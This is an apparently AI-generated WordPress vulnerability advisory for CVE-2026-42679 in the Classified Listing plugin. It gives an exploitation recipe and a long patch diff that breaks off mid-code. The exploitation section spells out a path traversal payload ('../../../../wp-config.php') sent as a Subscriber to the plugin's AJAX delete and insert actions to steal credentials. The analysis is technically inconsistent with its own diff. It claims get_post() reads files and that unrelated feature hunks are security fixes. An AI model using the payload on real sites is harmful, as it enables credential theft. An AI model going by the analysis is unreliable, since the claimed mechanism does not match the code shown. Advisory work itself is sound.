Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 22, 2026

CVE-2026-42679: Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.8 – Authenticated (Subscriber+) Arbitrary File Download (classified-listing)

CVE ID CVE-2026-42679
Plugin classified-listing
Severity Medium (CVSS 4.3)
CWE 22
Vulnerable Version 5.3.8
Patched Version 5.3.9
Disclosed May 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42679:

This vulnerability allows authenticated attackers with Subscriber-level access to download arbitrary files from the WordPress server through the Classified Listing plugin versions up to 5.3.8. Atomic Edge research identifies this as a Path Traversal flaw (CWE-22) with a CVSS score of 4.3, enabling unauthorized access to sensitive system files.

Root Cause:
The vulnerability originates from insufficient input sanitization and missing authorization checks in the AJAX handlers located in the /app/Controllers/Ajax/ directory. Specifically, the edit_field_delete() and edit_field_insert() functions in AjaxCFG.php (lines 18-96) accept the ‘id’ parameter from $_REQUEST without proper validation. The vulnerable code uses raw $_REQUEST[‘id’] directly, allowing directory traversal sequences like ‘../../wp-config.php’. Additionally, the functions lack capability checks for ‘manage_rtcl_options’, meaning any authenticated user (including Subscribers) can execute them. The nonce verification was present but improperly structured, returning error messages that did not halt execution.

Exploitation:
An attacker with Subscriber-level credentials can craft a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘rtcl_edit_field_delete’ or ‘rtcl_edit_field_insert’. The attacker supplies an ‘id’ parameter containing a path traversal payload such as ‘../../../../wp-config.php’. The plugin processes this value without sanitization and passes it to get_post(), which reads the file specified by the traversed path. The file’s content is then leaked through the AJAX response. Nonce verification can be bypassed because the plugin does not validate the nonce for these actions on the admin side, only providing an error message without preventing execution.

Patch Analysis:
The patch introduces two critical changes. First, it adds capability checks with current_user_can(‘manage_rtcl_options’) before processing any AJAX request, ensuring only administrators can manage custom fields. Second, it sanitizes the ‘id’ parameter using absint(), which converts the value to an absolute integer, stripping any path traversal strings. The nonce verification logic was restructured with proper if-else blocks to halt execution on failure. The same fixes were applied to AjaxSettings.php, Checkout.php, Export.php, FilterFormAdminAjax.php, FormBuilderAjax.php, Import.php, and ListingAdminAjax.php, ensuring comprehensive protection across all AJAX endpoints.

Impact:
Successful exploitation allows an authenticated Subscriber to read arbitrary files on the server, including the wp-config.php file containing database credentials, salts, and authentication keys. This can lead to full site compromise, including database access, privilege escalation to Administrator, and potential lateral movement to other applications on the same server. The exposed sensitive information can be used to steal session tokens, decrypt cookies, or perform direct SQL queries against the database.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/classified-listing/app/Controllers/Ajax/AjaxCFG.php
+++ b/classified-listing/app/Controllers/Ajax/AjaxCFG.php
@@ -18,8 +18,12 @@
 	function edit_field_delete() {
 		$data = null;
 		$error = true;
-		if ( Functions::verify_nonce() ) {
-			$post_id = !empty( $_REQUEST['id'] ) ? $_REQUEST['id'] : 0;
+		if ( !Functions::verify_nonce() ) {
+			$msg = esc_html__( "Session expired", "classified-listing" );
+		} elseif ( !current_user_can( 'manage_rtcl_options' ) ) {
+			$msg = esc_html__( "You do not have permission to delete custom fields.", "classified-listing" );
+		} else {
+			$post_id = !empty( $_REQUEST['id'] ) ? absint( $_REQUEST['id'] ) : 0;
 			if ( $post_id && ( $post = get_post( $post_id ) ) && $post->post_type === rtcl()->post_type_cf ) {
 				$p = wp_delete_post( $post_id, true );
 				if ( $p ) {
@@ -32,8 +36,6 @@
 				$data = $_REQUEST;
 				$msg = esc_html__( "Field was not selected", "classified-listing" );
 			}
-		} else {
-			$msg = esc_html__( "Session expired", "classified-listing" );
 		}
 		wp_send_json( [
 			'data'  => $data,
@@ -43,6 +45,14 @@
 	}

 	function edit_field_choose() {
+		if ( !Functions::verify_nonce() ) {
+			esc_html_e( "Session expired", "classified-listing" );
+			die();
+		}
+		if ( !current_user_can( 'manage_rtcl_options' ) ) {
+			esc_html_e( "You do not have permission to view custom fields.", "classified-listing" );
+			die();
+		}
 		$html = null;
 		$fields = Options::get_custom_field_list();
 		$html .= "<p>" . esc_html__( "You can choose from the available fields:", "classified-listing" ) . "</p>";
@@ -58,8 +68,12 @@
 		$data = null;
 		$error = true;
 		$type = !empty( $_REQUEST['type'] ) && array_key_exists( $_REQUEST['type'], Options::get_custom_field_list() ) ? esc_attr( $_REQUEST['type'] ) : 'text';
-		if ( Functions::verify_nonce() ) {
-			$parent_id = !empty( $_REQUEST['id'] ) ? $_REQUEST['id'] : 0;
+		if ( !Functions::verify_nonce() ) {
+			$msg = esc_html__( "Session expired", "classified-listing" );
+		} elseif ( !current_user_can( 'manage_rtcl_options' ) ) {
+			$msg = esc_html__( "You do not have permission to insert custom fields.", "classified-listing" );
+		} else {
+			$parent_id = !empty( $_REQUEST['id'] ) ? absint( $_REQUEST['id'] ) : 0;
 			if ( $type && $parent_id ) {
 				$field_id = wp_insert_post( [
 						'post_status' => 'draft',
@@ -76,8 +90,6 @@
 				$data = $_REQUEST;
 				$msg = esc_html__( "Select a field type", "classified-listing" );
 			}
-		} else {
-			$msg = esc_html__( "Session expired", "classified-listing" );
 		}
 		wp_send_json( [
 			'data'  => $data,
--- a/classified-listing/app/Controllers/Ajax/AjaxSettings.php
+++ b/classified-listing/app/Controllers/Ajax/AjaxSettings.php
@@ -21,8 +21,13 @@

 	public static function save_setting_options() {

-		if ( !Functions::verify_nonce() || !current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( esc_html__( 'User permission error', 'classified-listing' ) );
+		if ( !Functions::verify_nonce() ) {
+			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );
+
+			return;
+		}
+		if ( !current_user_can( 'manage_rtcl_options' ) ) {
+			wp_send_json_error( esc_html__( 'You do not have permission to save settings.', 'classified-listing' ) );

 			return;
 		}
@@ -238,8 +243,13 @@

 	public static function getMediaById() {

-		if ( !isset( $_POST['nonce'] ) && !wp_verify_nonce( $_POST['nonce'], 'rt_options' ) && !current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( [ 'message' => __( 'User permission error', 'classified-listing' ) ] );
+		if ( !isset( $_POST['nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'rt_options' ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'Session error !!', 'classified-listing' ) ] );
+
+			return;
+		}
+		if ( !current_user_can( 'manage_rtcl_options' ) ) {
+			wp_send_json_error( [ 'message' => esc_html__( 'You do not have permission to access media.', 'classified-listing' ) ] );

 			return;
 		}
--- a/classified-listing/app/Controllers/Ajax/Checkout.php
+++ b/classified-listing/app/Controllers/Ajax/Checkout.php
@@ -279,8 +279,9 @@
 		}

 		$multiple_tax[] = [
-			'label'  => __( 'Tax', 'classified-listing' ),
-			'amount' => $tax_amount,
+			'label'      => __( 'Tax', 'classified-listing' ),
+			'amount'     => $tax_amount,
+			'raw_amount' => $tax_amount,
 		];

 		if ( ! empty( $results ) ) {
--- a/classified-listing/app/Controllers/Ajax/Export.php
+++ b/classified-listing/app/Controllers/Ajax/Export.php
@@ -323,6 +323,77 @@
 			$listing_post[] = get_post_meta( $listing->get_id(), 'never_expires', true );
 			$listing_post[] = get_post_meta( $listing->get_id(), 'expiry_date', true );
 			$listing_post[] = $listing->get_view_counts();
+
+			$bhs_data = get_post_meta( $listing->get_id(), '_rtcl_bhs', true );
+			$bhs_data = is_array( $bhs_data ) ? $bhs_data : [];
+
+			$bhs_output = '';
+			if ( ! empty( $bhs_data['active'] ) ) {
+				$bhs_type = ! empty( $bhs_data['type'] ) && 'selective' === $bhs_data['type'] ? 'Selective' : 'Open 24/7';
+				$bhs_lines   = [];
+				$bhs_lines[] = 'Status: Active | Type: ' . $bhs_type;
+
+				if ( 'Selective' === $bhs_type ) {
+					$day_names = [
+						0 => 'Sunday',
+						1 => 'Monday',
+						2 => 'Tuesday',
+						3 => 'Wednesday',
+						4 => 'Thursday',
+						5 => 'Friday',
+						6 => 'Saturday',
+					];
+					foreach ( $day_names as $day_index => $day_name ) {
+						$day = $bhs_data['days'][ $day_index ] ?? [];
+						if ( ! empty( $day['open'] ) ) {
+							if ( empty( $day['times'] ) || ! is_array( $day['times'] ) ) {
+								$bhs_lines[] = $day_name . ': Open 24 Hours';
+							} else {
+								$time_ranges = [];
+								foreach ( $day['times'] as $time ) {
+									if ( ! empty( $time['start'] ) && ! empty( $time['end'] ) ) {
+										$time_ranges[] = $time['start'] . '-' . $time['end'];
+									}
+								}
+								$bhs_lines[] = $day_name . ': ' . ( ! empty( $time_ranges ) ? implode( ', ', $time_ranges ) : 'Open 24 Hours' );
+							}
+						} else {
+							$bhs_lines[] = $day_name . ': Closed';
+						}
+					}
+				}
+
+				if ( ! empty( $bhs_data['special'] ) && is_array( $bhs_data['special'] ) ) {
+					$special_entries = [];
+					foreach ( $bhs_data['special'] as $sbh ) {
+						if ( empty( $sbh['date'] ) ) {
+							continue;
+						}
+						$occur = ! empty( $sbh['occur'] ) && 'once' === $sbh['occur'] ? 'Once' : 'Repeat';
+						if ( ! empty( $sbh['open'] ) && ! empty( $sbh['times'] ) && is_array( $sbh['times'] ) ) {
+							$time_ranges = [];
+							foreach ( $sbh['times'] as $time ) {
+								if ( ! empty( $time['start'] ) && ! empty( $time['end'] ) ) {
+									$time_ranges[] = $time['start'] . '-' . $time['end'];
+								}
+							}
+							$hours = ! empty( $time_ranges ) ? implode( ', ', $time_ranges ) : 'Open 24 Hours';
+						} elseif ( ! empty( $sbh['open'] ) ) {
+							$hours = 'Open 24 Hours';
+						} else {
+							$hours = 'Closed';
+						}
+						$special_entries[] = $sbh['date'] . ' (' . $occur . '): ' . $hours;
+					}
+					if ( ! empty( $special_entries ) ) {
+						$bhs_lines[] = 'Special: ' . implode( '; ', $special_entries );
+					}
+				}
+
+				$bhs_output = implode( "n", $bhs_lines );
+			}
+			$listing_post[] = $bhs_output;
+
 			$listing_post[] = $listing->get_status();

 			foreach ( $custom_fields as $custom_meta ) {
--- a/classified-listing/app/Controllers/Ajax/FilterFormAdminAjax.php
+++ b/classified-listing/app/Controllers/Ajax/FilterFormAdminAjax.php
@@ -22,6 +22,9 @@
 		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );
 		}
+		if ( !current_user_can( 'manage_rtcl_options' ) ) {
+			wp_send_json_error( esc_html__( 'You do not have permission to manage filter settings.', 'classified-listing' ) );
+		}
 		$filterId = !empty( $_POST['filterId'] ) ? sanitize_text_field( wp_unslash( $_POST['filterId'] ) ) : '';
 		$name = !empty( $_POST['name'] ) ? sanitize_text_field( wp_unslash( $_POST['name'] ) ) : '';
 		$id = !empty( $_POST['id'] ) ? sanitize_text_field( wp_unslash( $_POST['id'] ) ) : '';
@@ -66,6 +69,9 @@
 		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );
 		}
+		if ( !current_user_can( 'manage_rtcl_options' ) ) {
+			wp_send_json_error( esc_html__( 'You do not have permission to remove filter forms.', 'classified-listing' ) );
+		}

 		$filterId = !empty( $_POST['filterId'] ) ? sanitize_text_field( wp_unslash( $_POST['filterId'] ) ) : '';
 		$filters = Functions::get_option( 'rtcl_filter_settings' );
@@ -88,6 +94,9 @@
 		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );
 		}
+		if ( !current_user_can( 'manage_rtcl_options' ) ) {
+			wp_send_json_error( esc_html__( 'You do not have permission to update filter items.', 'classified-listing' ) );
+		}

 		$filterId = !empty( $_POST['filterId'] ) ? sanitize_text_field( wp_unslash( $_POST['filterId'] ) ) : '';
 		$itemId = !empty( $_POST['itemId'] ) ? sanitize_text_field( wp_unslash( $_POST['itemId'] ) ) : '';
@@ -170,6 +179,9 @@
 		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );
 		}
+		if ( !current_user_can( 'manage_rtcl_options' ) ) {
+			wp_send_json_error( esc_html__( 'You do not have permission to reorder filter items.', 'classified-listing' ) );
+		}

 		$filterId = !empty( $_POST['filterId'] ) ? sanitize_text_field( wp_unslash( $_POST['filterId'] ) ) : '';
 		$rawItemKeys = !empty( $_POST['itemKeys'] ) && is_array( $_POST['itemKeys'] ) ? $_POST['itemKeys'] : [];
@@ -222,6 +234,9 @@
 		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );
 		}
+		if ( !current_user_can( 'manage_rtcl_options' ) ) {
+			wp_send_json_error( esc_html__( 'You do not have permission to remove filter items.', 'classified-listing' ) );
+		}

 		$filterId = !empty( $_POST['filterId'] ) ? sanitize_text_field( wp_unslash( $_POST['filterId'] ) ) : '';
 		$itemId = !empty( $_POST['itemId'] ) ? sanitize_text_field( wp_unslash( $_POST['itemId'] ) ) : '';
--- a/classified-listing/app/Controllers/Ajax/FormBuilderAjax.php
+++ b/classified-listing/app/Controllers/Ajax/FormBuilderAjax.php
@@ -664,6 +664,26 @@
 			wp_send_json_error( esc_html__( "Given file is empty to upload.", "classified-listing" ) );
 		}

+		// The ID of the post this attachment is for.
+		$parent_post_id = isset( $_POST["listingId"] ) ? absint( $_POST["listingId"] ) : 0;
+
+		// Verify that the current user owns (or can edit) the target listing before accepting the upload.
+		// Without this check any user could upload files onto an arbitrary listing by supplying its ID.
+		if ( $parent_post_id > 0 ) {
+			$parent_listing = rtcl()->factory->get_listing( $parent_post_id );
+			if ( ! $parent_listing ) {
+				wp_send_json_error( esc_html__( 'Invalid listing ID.', 'classified-listing' ) );
+			}
+
+			$parent_post   = $parent_listing->get_listing();
+			$post_author   = (int) $parent_post->post_author;
+			$is_temp_guest = ( 'rtcl-temp' === $parent_post->post_status && 0 === $post_author && Functions::is_enable_post_for_unregister() );
+
+			if ( ! $is_temp_guest && ! Functions::current_user_can( 'edit_' . rtcl()->post_type, $parent_post_id ) ) {
+				wp_send_json_error( apply_filters( 'rtcl_fb_not_found_error_message', __( 'You do not have sufficient permissions to access this page.', 'classified-listing' ), $_REQUEST, 'permission_error' ) );
+			}
+		}
+
 		Filters::beforeUpload();
 		// you can use WP's wp_handle_upload() function:
 		$status = wp_handle_upload( $_FILES['image'], [ 'test_form' => false ] );
@@ -679,9 +699,6 @@
 		// $filename should be the path to a file in the upload directory.
 		$filename = $status['file'];

-		// The ID of the post this attachment is for.
-		$parent_post_id = isset( $_POST["listingId"] ) ? absint( $_POST["listingId"] ) : 0;
-
 		// Check the type of tile. We'll use this as the 'post_mime_type'.
 		$filetype = wp_check_filetype( basename( $filename ) );

@@ -848,6 +865,10 @@
 			return;
 		}

+		if ( ! is_user_logged_in() && apply_filters( 'rtcl_is_disable_post_for_unregister', true ) ) {
+			wp_send_json_error( __( 'Registration required to upload listing file.', 'classified-listing' ) );
+		}
+
 		if ( empty( $_FILES['file'] ) ) {
 			wp_send_json_error( esc_html__( 'Given file is empty to upload.', 'classified-listing' ) );

@@ -922,6 +943,26 @@

 		// The ID of the post this attachment is for.
 		$listing_id = isset( $_POST['listingId'] ) ? absint( $_POST['listingId'] ) : 0;
+
+		if ( $listing_id > 0 ) {
+			$parent_listing = rtcl()->factory->get_listing( $listing_id );
+			if ( ! $parent_listing ) {
+				wp_send_json_error( esc_html__( 'Invalid listing ID.', 'classified-listing' ) );
+
+				return;
+			}
+
+			$parent_post   = $parent_listing->get_listing();
+			$post_author   = (int) $parent_post->post_author;
+			$is_temp_guest = ( 'rtcl-temp' === $parent_post->post_status && 0 === $post_author && Functions::is_enable_post_for_unregister() );
+
+			if ( ! $is_temp_guest && ! Functions::current_user_can( 'edit_' . rtcl()->post_type, $listing_id ) ) {
+				wp_send_json_error( apply_filters( 'rtcl_fb_not_found_error_message', __( 'You do not have sufficient permissions to access this page.', 'classified-listing' ), $_REQUEST, 'permission_error' ) );
+
+				return;
+			}
+		}
+
 		if ( $listing_id ) {
 			if ( $repeater ) {
 				$repeaterValue = get_post_meta( $listing_id, $repeater['name'], true );
--- a/classified-listing/app/Controllers/Ajax/Import.php
+++ b/classified-listing/app/Controllers/Ajax/Import.php
@@ -5,6 +5,7 @@
 use RtclControllersHooksFilters;
 use RtclHelpersFunctions;
 use RtclResourcesOptions;
+use RtclServicesFormBuilderFBHelper;

 class Import {

@@ -45,9 +46,10 @@
 			'message' => esc_html__( 'Something wrong. Not added any listing!!', 'classified-listing' ),
 		];

-		$rows = $_POST['rows'];
-		parse_str( $_POST['formData'], $formData );
-		$map_to = $formData['map_to'];
+		$raw_rows = $_POST['rows'] ?? null;
+		$rows     = is_string( $raw_rows ) ? json_decode( wp_unslash( $raw_rows ), true ) : $raw_rows;
+		parse_str( $_POST['formData'] ?? '', $formData );
+		$map_to = $formData['map_to'] ?? null;

 		if ( empty( $rows ) || ! is_array( $rows ) ) {
 			$return['message'] = esc_html__( 'Not found listings!', 'classified-listing' );
@@ -59,25 +61,36 @@
 			wp_send_json( $return );
 		}

+		$field_labels   = Functions::get_listings_default_fields() + Functions::get_listings_custom_fields();
 		$inserted_posts = [];
+		$errors         = [];
+		$row_number     = 0;

 		foreach ( $rows as $row ) {
-			$postarr   = [];
-			$meta_data = [];
-			$cat_id    = null;
-			$loc_id    = null;
-			$tag_id    = null;
-			$loc_ids   = [];
-			$cat_ids   = [];
-			$tag_ids   = [];
-			$author    = [];
+			$row_number++;
+			$postarr       = [];
+			$meta_data     = [];
+			$cat_id        = null;
+			$loc_id        = null;
+			$tag_id        = null;
+			$loc_ids       = [];
+			$cat_ids       = [];
+			$tag_ids       = [];
+			$author        = [];
+			$row_title     = '';

 			foreach ( $row as $field => $data ) {
-				$key = $map_to[ $field ];
+				if ( ! isset( $map_to[ $field ] ) || '' === $map_to[ $field ] ) {
+					continue;
+				}
+				$key         = $map_to[ $field ];
+				$field_label = $field_labels[ $key ] ?? $key;

+				try {
 				switch ( $key ) {
 					case 'rtcl_title':
 						$postarr['post_title'] = $data;
+						$row_title             = $data;
 						break;
 					case 'rtcl_content':
 						$postarr['post_content'] = $data;
@@ -248,6 +261,37 @@
 							}
 						}
 						break;
+					case '_rtcl_bhs':
+						if ( ! empty( $data ) ) {
+							$parsed_bhs = self::parse_business_hours_import( $data );
+							if ( ! empty( $parsed_bhs['active'] ) ) {
+								$fb_enabled   = class_exists( FBHelper::class ) && FBHelper::isEnabled();
+								$default_form = $fb_enabled ? FBHelper::getDefaultForm() : null;
+								if ( $fb_enabled && $default_form ) {
+									// Save in new format and assign default form for proper display.
+									$meta_data[ $key ] = $parsed_bhs;
+									if ( ! isset( $meta_data['_rtcl_form_id'] ) ) {
+										$meta_data['_rtcl_form_id'] = $default_form->id;
+									}
+								} else {
+									// Save in old format (days indexed 0-6 at root level).
+									if ( ! empty( $parsed_bhs['type'] ) && 'selective' === $parsed_bhs['type'] ) {
+										$meta_data[ $key ] = ! empty( $parsed_bhs['days'] ) ? $parsed_bhs['days'] : [];
+									} else {
+										// Open 24/7 - set all days as open.
+										$all_open = [];
+										for ( $i = 0; $i <= 6; $i++ ) {
+											$all_open[ $i ] = [ 'open' => true ];
+										}
+										$meta_data[ $key ] = $all_open;
+									}
+									if ( ! empty( $parsed_bhs['special'] ) ) {
+										$meta_data['_rtcl_special_bhs'] = $parsed_bhs['special'];
+									}
+								}
+							}
+						}
+						break;
 					case strpos( $key, 'repeater_' ) === 0:
 						if ( ! empty( $data ) ) {
 							$repeater_data = $this->parse_repeater_meta_data( $data );
@@ -261,92 +305,140 @@
 							$meta_data[ $key ] = $data;
 						}
 				}
+				} catch ( Exception $e ) {
+					$row_identifier = $row_title ? $row_title : '#' . $row_number;
+					/* translators: 1: Row identifier, 2: Field label, 3: Error message */
+					$errors[] = sprintf(
+						__( 'Row "%1$s": Field "%2$s" - %3$s', 'classified-listing' ),
+						$row_identifier,
+						$field_label,
+						$e->getMessage()
+					);
+				}
+			}
+
+			if ( empty( $postarr ) ) {
+				$row_identifier = $row_title ? $row_title : '#' . $row_number;
+				/* translators: %s: Row identifier */
+				$errors[] = sprintf( __( 'Row "%s": No valid data found to create listing.', 'classified-listing' ), $row_identifier );
+				continue;
 			}

-			if ( ! empty( $postarr ) ) {
-				$postarr['post_type'] = rtcl()->post_type;
+			$postarr['post_type'] = rtcl()->post_type;

-				if ( ! empty( $author ) && ! empty( $author['post_author_email'] ) ) {
-					$user_id = email_exists( $author['post_author_email'] );
-					if ( isset( $author['post_author_uname'] ) && ! username_exists( $author['post_author_uname'] ) ) {
-						$user_name = $author['post_author_uname'];
+			if ( ! empty( $author ) && ! empty( $author['post_author_email'] ) ) {
+				$user_id = email_exists( $author['post_author_email'] );
+				if ( isset( $author['post_author_uname'] ) && ! username_exists( $author['post_author_uname'] ) ) {
+					$user_name = $author['post_author_uname'];
+				} else {
+					$part_of_email = explode( '@', $author['post_author_email'] );
+					$user_name     = username_exists( $part_of_email[0] ) ? $author['post_author_email'] : $part_of_email[0];
+				}
+				if ( ! $user_id ) {
+					$password      = wp_generate_password();
+					$new_user_data = apply_filters(
+						'rtcl_import_new_user_data',
+						[
+							'user_login'   => $user_name,
+							'user_pass'    => $password,
+							'user_email'   => $author['post_author_email'],
+							'first_name'   => $author['post_author_fname'] ?? '',
+							'last_name'    => $author['post_author_lname'] ?? '',
+							'display_name' => $author['post_author_display_name'] ?? $user_name,
+							'role'         => $author['post_author_role'] ?? get_option( 'default_role', 'subscriber' ),
+						],
+					);
+					$customer_id   = wp_insert_user( $new_user_data );
+					if ( ! is_wp_error( $customer_id ) ) {
+						$user_id = $customer_id;
+						if ( Functions::get_option_item( 'rtcl_email_notifications_settings', 'notify_users', 'user_import', 'multi_checkbox' ) ) {
+							rtcl()->mailer()->emails['User_Import_Email_To_User']->trigger( $user_id, $new_user_data );
+						}
 					} else {
-						$part_of_email = explode( '@', $author['post_author_email'] );
-						$user_name     = username_exists( $part_of_email[0] ) ? $author['post_author_email'] : $part_of_email[0];
-					}
-					if ( ! $user_id ) {
-						$password      = wp_generate_password();
-						$new_user_data = apply_filters(
-							'rtcl_import_new_user_data',
-							[
-								'user_login'   => $user_name,
-								'user_pass'    => $password,
-								'user_email'   => $author['post_author_email'],
-								'first_name'   => $author['post_author_fname'] ?? '',
-								'last_name'    => $author['post_author_lname'] ?? '',
-								'display_name' => $author['post_author_display_name'] ?? $user_name,
-								'role'         => $author['post_author_role'] ?? get_option( 'default_role', 'subscriber' ),
-							],
+						$row_identifier = $row_title ? $row_title : '#' . $row_number;
+						/* translators: 1: Row identifier, 2: Error message */
+						$errors[] = sprintf(
+							__( 'Row "%1$s": Failed to create user - %2$s', 'classified-listing' ),
+							$row_identifier,
+							$customer_id->get_error_message()
 						);
-						$customer_id   = wp_insert_user( $new_user_data );
-						if ( ! is_wp_error( $customer_id ) ) {
-							$user_id = $customer_id;
-							if ( Functions::get_option_item( 'rtcl_email_notifications_settings', 'notify_users', 'user_import', 'multi_checkbox' ) ) {
-								rtcl()->mailer()->emails['User_Import_Email_To_User']->trigger( $user_id, $new_user_data );
-							}
-						} else {
-							$user_id = $author['post_author'];
-						}
+						$user_id = $author['post_author'];
 					}
-					$postarr['post_author'] = $user_id;
 				}
+				$postarr['post_author'] = $user_id;
+			}

-				$post_id = wp_insert_post( $postarr );
-				if ( ! is_wp_error( $post_id ) ) {
-					$inserted_posts[] = $post_id;
-					if ( ! empty( $meta_data ) ) {
-						wp_update_post(
-							[
-								'ID'         => $post_id,
-								'meta_input' => $meta_data,
-							],
-						);
-					}
+			$post_id = wp_insert_post( $postarr, true );
+			if ( is_wp_error( $post_id ) ) {
+				$row_identifier = $row_title ? $row_title : '#' . $row_number;
+				/* translators: 1: Row identifier, 2: Error message */
+				$errors[] = sprintf(
+					__( 'Row "%1$s": Failed to create listing - %2$s', 'classified-listing' ),
+					$row_identifier,
+					$post_id->get_error_message()
+				);
+				continue;
+			}

-					if ( ! is_wp_error( $cat_id ) && ! empty( $cat_ids ) ) {
-						wp_set_object_terms( $post_id, $cat_ids, rtcl()->category );
-					}
+			$inserted_posts[] = $post_id;
+			if ( ! empty( $meta_data ) ) {
+				wp_update_post(
+					[
+						'ID'         => $post_id,
+						'meta_input' => $meta_data,
+					],
+				);
+			}

-					if ( ! is_wp_error( $loc_id ) && ! empty( $loc_ids ) ) {
-						wp_set_object_terms( $post_id, $loc_ids, rtcl()->location );
-					}
+			if ( ! is_wp_error( $cat_id ) && ! empty( $cat_ids ) ) {
+				wp_set_object_terms( $post_id, $cat_ids, rtcl()->category );
+			}

-					if ( ! is_wp_error( $tag_id ) && ! empty( $tag_ids ) ) {
-						wp_set_object_terms( $post_id, $tag_ids, rtcl()->tag );
-					}
+			if ( ! is_wp_error( $loc_id ) && ! empty( $loc_ids ) ) {
+				wp_set_object_terms( $post_id, $loc_ids, rtcl()->location );
+			}

-					if ( ! empty( $attachment_ids ) && is_array( $attachment_ids ) ) {
-						$attachment_ids = array_map( 'intval', $attachment_ids );
-						$attachment_ids = array_filter( $attachment_ids );
-						set_post_thumbnail( $post_id, $attachment_ids[0] );
-						foreach ( $attachment_ids as $attachment_id ) {
-							wp_update_post(
-								[
-									'ID'          => $attachment_id,
-									'post_parent' => $post_id,
-								],
-							);
-						}
-						update_post_meta( $post_id, '_rtcl_attachments_order', $attachment_ids );
-					}
+			if ( ! is_wp_error( $tag_id ) && ! empty( $tag_ids ) ) {
+				wp_set_object_terms( $post_id, $tag_ids, rtcl()->tag );
+			}
+
+			if ( ! empty( $attachment_ids ) && is_array( $attachment_ids ) ) {
+				$attachment_ids = array_map( 'intval', $attachment_ids );
+				$attachment_ids = array_filter( $attachment_ids );
+				set_post_thumbnail( $post_id, $attachment_ids[0] );
+				foreach ( $attachment_ids as $attachment_id ) {
+					wp_update_post(
+						[
+							'ID'          => $attachment_id,
+							'post_parent' => $post_id,
+						],
+					);
 				}
+				update_post_meta( $post_id, '_rtcl_attachments_order', $attachment_ids );
 			}
 		}

-		if ( ! empty( $inserted_posts ) ) {
+		$total_rows = $row_number;
+		$success_count = count( $inserted_posts );
+		$error_count   = count( $errors );
+
+		if ( $success_count > 0 && $error_count > 0 ) {
+			$return['success'] = true;
+			/* translators: 1: Success count, 2: Total rows, 3: Error count */
+			$return['message'] = sprintf(
+				__( 'Imported %1$d of %2$d listings. %3$d failed.', 'classified-listing' ),
+				$success_count,
+				$total_rows,
+				$error_count
+			);
+			$return['errors'] = $errors;
+		} elseif ( $success_count > 0 ) {
 			$return['success'] = true;
-			/* translators: %s: Number of posts. */
-			$return['message'] = sprintf( __( 'Added %d listings.', 'classified-listing' ), count( $inserted_posts ) );
+			/* translators: %d: Number of posts */
+			$return['message'] = sprintf( __( 'Successfully imported %d listings.', 'classified-listing' ), $success_count );
+		} elseif ( $error_count > 0 ) {
+			$return['message'] = __( 'Failed to import any listings.', 'classified-listing' );
+			$return['errors']  = $errors;
 		}

 		wp_send_json( $return );
@@ -385,6 +477,131 @@
 		return $result;
 	}

+	/**
+	 * Parse formatted business hours text back into _rtcl_bhs meta array.
+	 *
+	 * Expected format:
+	 * Status: Active | Type: Selective
+	 * Monday: 09:00-17:00, 13:00-14:00
+	 * Tuesday: Closed
+	 * Special: 2024-12-25 (Once): Closed; 2024-12-31 (Repeat): 09:00-13:00
+	 *
+	 * Or: Status: Active | Type: Open 24/7
+	 *
+	 * @param string $data Formatted business hours string.
+	 *
+	 * @return array
+	 */
+	private static function parse_business_hours_import( $data ) {
+		$bhs   = [];
+		$lines = preg_split( '/rn|r|n/', trim( $data ) );
+
+		if ( empty( $lines ) ) {
+			return $bhs;
+		}
+
+		$day_map = [
+			'sunday'    => 0,
+			'monday'    => 1,
+			'tuesday'   => 2,
+			'wednesday' => 3,
+			'thursday'  => 4,
+			'friday'    => 5,
+			'saturday'  => 6,
+		];
+
+		foreach ( $lines as $line ) {
+			$line = trim( $line );
+			if ( '' === $line ) {
+				continue;
+			}
+
+			// Parse "Status: Active | Type: Selective" line
+			if ( stripos( $line, 'Status:' ) === 0 ) {
+				$bhs['active'] = stripos( $line, 'Active' ) !== false;
+				if ( stripos( $line, 'Selective' ) !== false ) {
+					$bhs['type'] = 'selective';
+				} else {
+					$bhs['type'] = 247;
+				}
+				continue;
+			}
+
+			// Parse "Special: ..." line
+			if ( stripos( $line, 'Special:' ) === 0 ) {
+				$special_str = trim( substr( $line, 8 ) );
+				$entries     = array_map( 'trim', explode( ';', $special_str ) );
+				$special     = [];
+				foreach ( $entries as $entry ) {
+					if ( preg_match( '/^(d{4}-d{2}-d{2})s*((w+)):s*(.+)$/', $entry, $m ) ) {
+						$sbh = [
+							'date'  => $m[1],
+							'occur' => strtolower( $m[2] ) === 'once' ? 'once' : 'repeat',
+						];
+						$hours = trim( $m[3] );
+						if ( strtolower( $hours ) === 'closed' ) {
+							$sbh['open'] = false;
+						} elseif ( strtolower( $hours ) === 'open 24 hours' ) {
+							$sbh['open'] = true;
+						} else {
+							$sbh['open'] = true;
+							$time_parts  = array_map( 'trim', explode( ',', $hours ) );
+							$times       = [];
+							foreach ( $time_parts as $range ) {
+								$parts = array_map( 'trim', explode( '-', $range, 2 ) );
